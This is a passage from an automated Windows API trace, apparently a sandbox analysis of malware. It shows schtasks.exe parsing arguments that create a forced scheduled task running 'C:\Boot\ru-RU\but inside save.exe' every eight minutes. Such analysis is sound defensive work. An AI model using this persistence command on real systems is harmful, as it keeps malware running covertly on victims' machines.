_BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.526] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.526] lstrlenW (lpString="|sc|") returned 4 [0131.526] lstrlenW (lpString="|sc|") returned 4 [0131.526] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0131.526] SetLastError (dwErrCode=0x0) [0131.527] SetLastError (dwErrCode=0x0) [0131.527] lstrlenW (lpString="MINUTE") returned 6 [0131.527] lstrlenW (lpString="-/") returned 2 [0131.527] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0131.527] SetLastError (dwErrCode=0x490) [0131.527] SetLastError (dwErrCode=0x490) [0131.527] SetLastError (dwErrCode=0x0) [0131.527] lstrlenW (lpString="MINUTE") returned 6 [0131.527] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0131.527] SetLastError (dwErrCode=0x490) [0131.527] SetLastError (dwErrCode=0x0) [0131.527] GetProcessHeap () returned 0x210000 [0131.527] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x18) returned 0x22d560 [0131.527] _memicmp (_Buf1=0x22d560, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.527] lstrlenW (lpString="MINUTE") returned 6 [0131.527] GetProcessHeap () returned 0x210000 [0131.527] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xe) returned 0x22d580 [0131.527] lstrlenW (lpString="MINUTE") returned 6 [0131.527] lstrlenW (lpString=" \x09") returned 2 [0131.527] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0131.527] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0131.527] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0131.527] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0131.527] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0131.527] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0131.527] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0131.527] GetLastError () returned 0x0 [0131.527] lstrlenW (lpString="MINUTE") returned 6 [0131.527] lstrlenW (lpString="MINUTE") returned 6 [0131.527] SetLastError (dwErrCode=0x0) [0131.527] SetLastError (dwErrCode=0x0) [0131.528] lstrlenW (lpString="/mo") returned 3 [0131.528] lstrlenW (lpString="-/") returned 2 [0131.528] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.528] lstrlenW (lpString="create") returned 6 [0131.528] lstrlenW (lpString="create") returned 6 [0131.528] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.528] lstrlenW (lpString="mo") returned 2 [0131.528] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.528] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|create|") returned 8 [0131.528] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.528] lstrlenW (lpString="|create|") returned 8 [0131.528] lstrlenW (lpString="|mo|") returned 4 [0131.528] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0131.528] SetLastError (dwErrCode=0x490) [0131.528] lstrlenW (lpString="?") returned 1 [0131.528] lstrlenW (lpString="?") returned 1 [0131.528] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.528] lstrlenW (lpString="mo") returned 2 [0131.528] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.528] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|?|") returned 3 [0131.528] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.528] lstrlenW (lpString="|?|") returned 3 [0131.528] lstrlenW (lpString="|mo|") returned 4 [0131.528] SetLastError (dwErrCode=0x490) [0131.528] lstrlenW (lpString="s") returned 1 [0131.528] lstrlenW (lpString="s") returned 1 [0131.528] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.529] lstrlenW (lpString="mo") returned 2 [0131.529] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.529] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|s|") returned 3 [0131.529] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.529] lstrlenW (lpString="|s|") returned 3 [0131.529] lstrlenW (lpString="|mo|") returned 4 [0131.529] SetLastError (dwErrCode=0x490) [0131.529] lstrlenW (lpString="u") returned 1 [0131.529] lstrlenW (lpString="u") returned 1 [0131.529] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.529] lstrlenW (lpString="mo") returned 2 [0131.529] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.529] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|u|") returned 3 [0131.529] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.529] lstrlenW (lpString="|u|") returned 3 [0131.529] lstrlenW (lpString="|mo|") returned 4 [0131.529] SetLastError (dwErrCode=0x490) [0131.529] lstrlenW (lpString="p") returned 1 [0131.529] lstrlenW (lpString="p") returned 1 [0131.529] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.529] lstrlenW (lpString="mo") returned 2 [0131.529] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.529] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|p|") returned 3 [0131.529] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.529] lstrlenW (lpString="|p|") returned 3 [0131.530] lstrlenW (lpString="|mo|") returned 4 [0131.530] SetLastError (dwErrCode=0x490) [0131.530] lstrlenW (lpString="ru") returned 2 [0131.530] lstrlenW (lpString="ru") returned 2 [0131.530] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.530] lstrlenW (lpString="mo") returned 2 [0131.530] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.530] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|ru|") returned 4 [0131.530] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.530] lstrlenW (lpString="|ru|") returned 4 [0131.530] lstrlenW (lpString="|mo|") returned 4 [0131.530] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0131.530] SetLastError (dwErrCode=0x490) [0131.530] lstrlenW (lpString="rp") returned 2 [0131.530] lstrlenW (lpString="rp") returned 2 [0131.530] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.530] lstrlenW (lpString="mo") returned 2 [0131.530] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.530] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|rp|") returned 4 [0131.530] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.530] lstrlenW (lpString="|rp|") returned 4 [0131.530] lstrlenW (lpString="|mo|") returned 4 [0131.530] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0131.530] SetLastError (dwErrCode=0x490) [0131.530] lstrlenW (lpString="sc") returned 2 [0131.530] lstrlenW (lpString="sc") returned 2 [0131.530] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.531] lstrlenW (lpString="mo") returned 2 [0131.531] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.531] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.531] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.531] lstrlenW (lpString="|sc|") returned 4 [0131.531] lstrlenW (lpString="|mo|") returned 4 [0131.531] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0131.531] SetLastError (dwErrCode=0x490) [0131.531] lstrlenW (lpString="mo") returned 2 [0131.531] lstrlenW (lpString="mo") returned 2 [0131.531] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.531] lstrlenW (lpString="mo") returned 2 [0131.531] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.531] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.531] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.531] lstrlenW (lpString="|mo|") returned 4 [0131.531] lstrlenW (lpString="|mo|") returned 4 [0131.531] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0131.531] SetLastError (dwErrCode=0x0) [0131.531] SetLastError (dwErrCode=0x0) [0131.531] lstrlenW (lpString="8") returned 1 [0131.531] SetLastError (dwErrCode=0x490) [0131.531] SetLastError (dwErrCode=0x0) [0131.531] lstrlenW (lpString="8") returned 1 [0131.531] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0131.531] SetLastError (dwErrCode=0x490) [0131.531] SetLastError (dwErrCode=0x0) [0131.532] _memicmp (_Buf1=0x22d560, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.532] lstrlenW (lpString="8") returned 1 [0131.532] lstrlenW (lpString="8") returned 1 [0131.532] lstrlenW (lpString=" \x09") returned 2 [0131.532] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0131.532] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0131.532] GetLastError () returned 0x0 [0131.532] lstrlenW (lpString="8") returned 1 [0131.532] lstrlenW (lpString="8") returned 1 [0131.532] GetProcessHeap () returned 0x210000 [0131.532] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x4) returned 0x22b990 [0131.532] SetLastError (dwErrCode=0x0) [0131.532] SetLastError (dwErrCode=0x0) [0131.532] lstrlenW (lpString="/tr") returned 3 [0131.532] lstrlenW (lpString="-/") returned 2 [0131.532] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.532] lstrlenW (lpString="create") returned 6 [0131.532] lstrlenW (lpString="create") returned 6 [0131.532] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.532] lstrlenW (lpString="tr") returned 2 [0131.532] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.532] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|create|") returned 8 [0131.532] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.532] lstrlenW (lpString="|create|") returned 8 [0131.532] lstrlenW (lpString="|tr|") returned 4 [0131.532] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0131.532] SetLastError (dwErrCode=0x490) [0131.533] lstrlenW (lpString="?") returned 1 [0131.533] lstrlenW (lpString="?") returned 1 [0131.533] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.533] lstrlenW (lpString="tr") returned 2 [0131.533] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.533] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|?|") returned 3 [0131.533] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.533] lstrlenW (lpString="|?|") returned 3 [0131.533] lstrlenW (lpString="|tr|") returned 4 [0131.533] SetLastError (dwErrCode=0x490) [0131.533] lstrlenW (lpString="s") returned 1 [0131.533] lstrlenW (lpString="s") returned 1 [0131.533] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.533] lstrlenW (lpString="tr") returned 2 [0131.533] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.533] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|s|") returned 3 [0131.533] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.533] lstrlenW (lpString="|s|") returned 3 [0131.533] lstrlenW (lpString="|tr|") returned 4 [0131.533] SetLastError (dwErrCode=0x490) [0131.533] lstrlenW (lpString="u") returned 1 [0131.533] lstrlenW (lpString="u") returned 1 [0131.533] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.533] lstrlenW (lpString="tr") returned 2 [0131.533] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.533] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|u|") returned 3 [0131.534] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.534] lstrlenW (lpString="|u|") returned 3 [0131.534] lstrlenW (lpString="|tr|") returned 4 [0131.534] SetLastError (dwErrCode=0x490) [0131.534] lstrlenW (lpString="p") returned 1 [0131.534] lstrlenW (lpString="p") returned 1 [0131.534] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.534] lstrlenW (lpString="tr") returned 2 [0131.534] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.534] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|p|") returned 3 [0131.534] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.534] lstrlenW (lpString="|p|") returned 3 [0131.534] lstrlenW (lpString="|tr|") returned 4 [0131.534] SetLastError (dwErrCode=0x490) [0131.534] lstrlenW (lpString="ru") returned 2 [0131.534] lstrlenW (lpString="ru") returned 2 [0131.534] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.534] lstrlenW (lpString="tr") returned 2 [0131.534] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.534] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|ru|") returned 4 [0131.534] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.534] lstrlenW (lpString="|ru|") returned 4 [0131.534] lstrlenW (lpString="|tr|") returned 4 [0131.534] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0131.534] SetLastError (dwErrCode=0x490) [0131.534] lstrlenW (lpString="rp") returned 2 [0131.534] lstrlenW (lpString="rp") returned 2 [0131.535] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.535] lstrlenW (lpString="tr") returned 2 [0131.535] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.535] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|rp|") returned 4 [0131.535] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.535] lstrlenW (lpString="|rp|") returned 4 [0131.535] lstrlenW (lpString="|tr|") returned 4 [0131.535] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0131.535] SetLastError (dwErrCode=0x490) [0131.558] lstrlenW (lpString="sc") returned 2 [0131.558] lstrlenW (lpString="sc") returned 2 [0131.558] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.558] lstrlenW (lpString="tr") returned 2 [0131.558] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.558] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.558] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.558] lstrlenW (lpString="|sc|") returned 4 [0131.558] lstrlenW (lpString="|tr|") returned 4 [0131.558] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0131.558] SetLastError (dwErrCode=0x490) [0131.558] lstrlenW (lpString="mo") returned 2 [0131.558] lstrlenW (lpString="mo") returned 2 [0131.558] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.558] lstrlenW (lpString="tr") returned 2 [0131.558] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.558] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.558] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.558] lstrlenW (lpString="|mo|") returned 4 [0131.559] lstrlenW (lpString="|tr|") returned 4 [0131.559] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0131.559] SetLastError (dwErrCode=0x490) [0131.559] lstrlenW (lpString="d") returned 1 [0131.559] lstrlenW (lpString="d") returned 1 [0131.559] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.559] lstrlenW (lpString="tr") returned 2 [0131.559] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.559] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|d|") returned 3 [0131.559] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.559] lstrlenW (lpString="|d|") returned 3 [0131.559] lstrlenW (lpString="|tr|") returned 4 [0131.559] SetLastError (dwErrCode=0x490) [0131.559] lstrlenW (lpString="m") returned 1 [0131.559] lstrlenW (lpString="m") returned 1 [0131.559] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.559] lstrlenW (lpString="tr") returned 2 [0131.559] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.559] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|m|") returned 3 [0131.559] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.559] lstrlenW (lpString="|m|") returned 3 [0131.559] lstrlenW (lpString="|tr|") returned 4 [0131.559] SetLastError (dwErrCode=0x490) [0131.559] lstrlenW (lpString="i") returned 1 [0131.559] lstrlenW (lpString="i") returned 1 [0131.559] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.560] lstrlenW (lpString="tr") returned 2 [0131.560] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.560] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|i|") returned 3 [0131.560] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.560] lstrlenW (lpString="|i|") returned 3 [0131.560] lstrlenW (lpString="|tr|") returned 4 [0131.560] SetLastError (dwErrCode=0x490) [0131.560] lstrlenW (lpString="tn") returned 2 [0131.560] lstrlenW (lpString="tn") returned 2 [0131.560] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.560] lstrlenW (lpString="tr") returned 2 [0131.560] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.560] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.560] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.560] lstrlenW (lpString="|tn|") returned 4 [0131.560] lstrlenW (lpString="|tr|") returned 4 [0131.560] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0131.560] SetLastError (dwErrCode=0x490) [0131.560] lstrlenW (lpString="tr") returned 2 [0131.560] lstrlenW (lpString="tr") returned 2 [0131.560] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.560] lstrlenW (lpString="tr") returned 2 [0131.560] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.560] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.560] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.560] lstrlenW (lpString="|tr|") returned 4 [0131.561] lstrlenW (lpString="|tr|") returned 4 [0131.561] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0131.561] SetLastError (dwErrCode=0x0) [0131.561] SetLastError (dwErrCode=0x0) [0131.561] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.561] lstrlenW (lpString="-/") returned 2 [0131.561] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.561] SetLastError (dwErrCode=0x490) [0131.561] SetLastError (dwErrCode=0x490) [0131.561] SetLastError (dwErrCode=0x0) [0131.561] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.561] StrChrIW (lpStart="'C:\\Boot\\ru-RU\\but inside save.exe'", wMatch=0x3a) returned=":\\Boot\\ru-RU\\but inside save.exe'" [0131.561] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.561] _memicmp (_Buf1=0x22d4e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.561] _memicmp (_Buf1=0x22d520, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.561] SetLastError (dwErrCode=0x7a) [0131.561] SetLastError (dwErrCode=0x0) [0131.561] SetLastError (dwErrCode=0x0) [0131.561] lstrlenW (lpString="'C") returned 2 [0131.561] lstrlenW (lpString="-/") returned 2 [0131.561] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.561] SetLastError (dwErrCode=0x490) [0131.561] SetLastError (dwErrCode=0x490) [0131.561] SetLastError (dwErrCode=0x0) [0131.561] _memicmp (_Buf1=0x22d560, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.561] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.561] GetProcessHeap () returned 0x210000 [0131.561] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d580) returned 1 [0131.561] GetProcessHeap () returned 0x210000 [0131.562] RtlReAllocateHeap (Heap=0x210000, Flags=0xc, Ptr=0x22d580, Size=0x48) returned 0x229310 [0131.562] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.562] lstrlenW (lpString=" \x09") returned 2 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0131.562] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0131.563] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0131.564] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0131.564] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.564] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0131.565] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.565] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0131.565] GetLastError () returned 0x0 [0131.565] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.565] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.565] SetLastError (dwErrCode=0x0) [0131.565] SetLastError (dwErrCode=0x0) [0131.565] lstrlenW (lpString="/f") returned 2 [0131.565] lstrlenW (lpString="-/") returned 2 [0131.565] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.565] lstrlenW (lpString="create") returned 6 [0131.565] lstrlenW (lpString="create") returned 6 [0131.565] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.565] lstrlenW (lpString="f") returned 1 [0131.565] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.565] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|create|") returned 8 [0131.565] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") 